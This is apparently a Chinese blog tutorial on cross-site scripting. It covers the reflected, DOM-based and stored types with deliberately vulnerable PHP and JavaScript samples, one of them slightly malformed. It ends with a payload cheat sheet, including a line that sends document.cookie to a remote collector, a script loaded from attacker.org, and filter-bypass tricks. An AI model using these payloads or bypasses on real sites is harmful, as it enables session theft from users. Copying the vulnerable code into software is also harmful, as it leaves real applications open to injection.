未分类

XSS

XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 Web 应用程序对用户的输入过滤不足而产生的.

Table of Contents

XSS攻击类型

常见的 XSS 攻击有三种:反射型、DOM-based 型、存储型。 其中反射型、DOM-based 型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击。

1.反射型

反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。

对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与,要避免反射性 XSS,必须需要后端的协调,后端解析前端的数据时首先做相关的字串检测和转义处理。

此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

实例

<?php

$input = $_GET("param");

echo "<div>".$input."</div>";

?>

2.DOM-based型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

实例:

<script>
function test(){
    var str=document.getElementById("text").value;
  document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>

<div id="t"></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>

3.存储型

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

实例:通过js脚本获取cookie值,当然,在实际应用中,应该是通过植入链接来将js脚本植入的。

<html>
<head>
<script type="text/javascript">
function getCookie(c_name)
{
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=")
  if (c_start!=-1)
    { 
    c_start=c_start + c_name.length+1 
    c_end=document.cookie.indexOf(";",c_start)
    if (c_end==-1) c_end=document.cookie.length
    return unescape(document.cookie.substring(c_start,c_end))
    } 
  }
return ""
}

function setCookie(c_name,value,expiredays)
{
var exdate=new Date()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie=c_name+ "=" +escape(value)+
((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
}

function checkCookie()
{
username=getCookie('username')
if (username!=null && username!="")
  {alert('Welcome again '+username+'!')}
else 
  {
  username=prompt('Please enter your name:',"")
  if (username!=null && username!="")
    {
    setCookie('username',username,365)
    }
  }
  alert(document.cookie)
}
</script>
</head>

<body onLoad="checkCookie()">
</body>
</html>

XSS利用原理

漏洞利用

  • 盗取cookie:<script>alert(document.cookie)</script>
  • 构造页面跳转:<script>location='https://www.hacker.com'</script>
  • 构造获取cookie并发送到远程主机:
<script>document.location='http://127.0.0.1/test/cookie.phpcookie='+document.cookie</script>

常见注入点

  • 输入框
  • 留言板
  • URL中可传参数的变量

常用PAYLOAD

Script标签:

<script>alert(/1/)</script>
<script>prompt(1)</script> 
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>

Img标签:

<img src=x onerror=alert(1)>
<img src=x onerror=prompt(1);>
<img src=javascript:alert('1')>

a标签:

<a href=”javascript:alert(1)”>点击触发</a>
<a href="http://www.hacker.com">点击触发</a>

Iframe标签:

<iframe src="javascript:alert(1)">
<iframe onload=alert(1)>

其他标签:

<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>

常用事件

  • onclick: 点击触发 (<img src=x onclick=alert(1)>)
  • onerror: 当 src 加载不出来时触发 (<img src=x onerror=alert(1)>)
  • onload: 当 src 加载完毕触发(<img src=x onload=alert(1)>)
  • onmouseover:鼠标指针移动到图片后触发(<img src=x onmouseover=alert(1)>)
  • onmousemove: 鼠标指针移到指定的元素后触发(<img src=x onmousemove=alert(1) >)
  • onfocus: 当 input 输入框获取焦点时触发(<input onfocus=javascript:alert(1) autofocus>)

常用属性

  • src
  • action
  • href
  • data
  • content

javascript弹窗函数

  • alert()
  • confirm()
  • prompt()

常见绕过方法

  • 大小写绕过(<SCRIPT>)
  • 双写绕过(<SCr<scRiPT>ipt>)
  • 关键字HTML编码绕过
  • 任意位置插入null字符(<im[%00]g onerror=alert(xss) src=a>)
  • JavaScript转义(<script>eval(‘a\154ert(1)’)</script>)

留言

您的邮箱地址不会被公开。 必填项已用 * 标注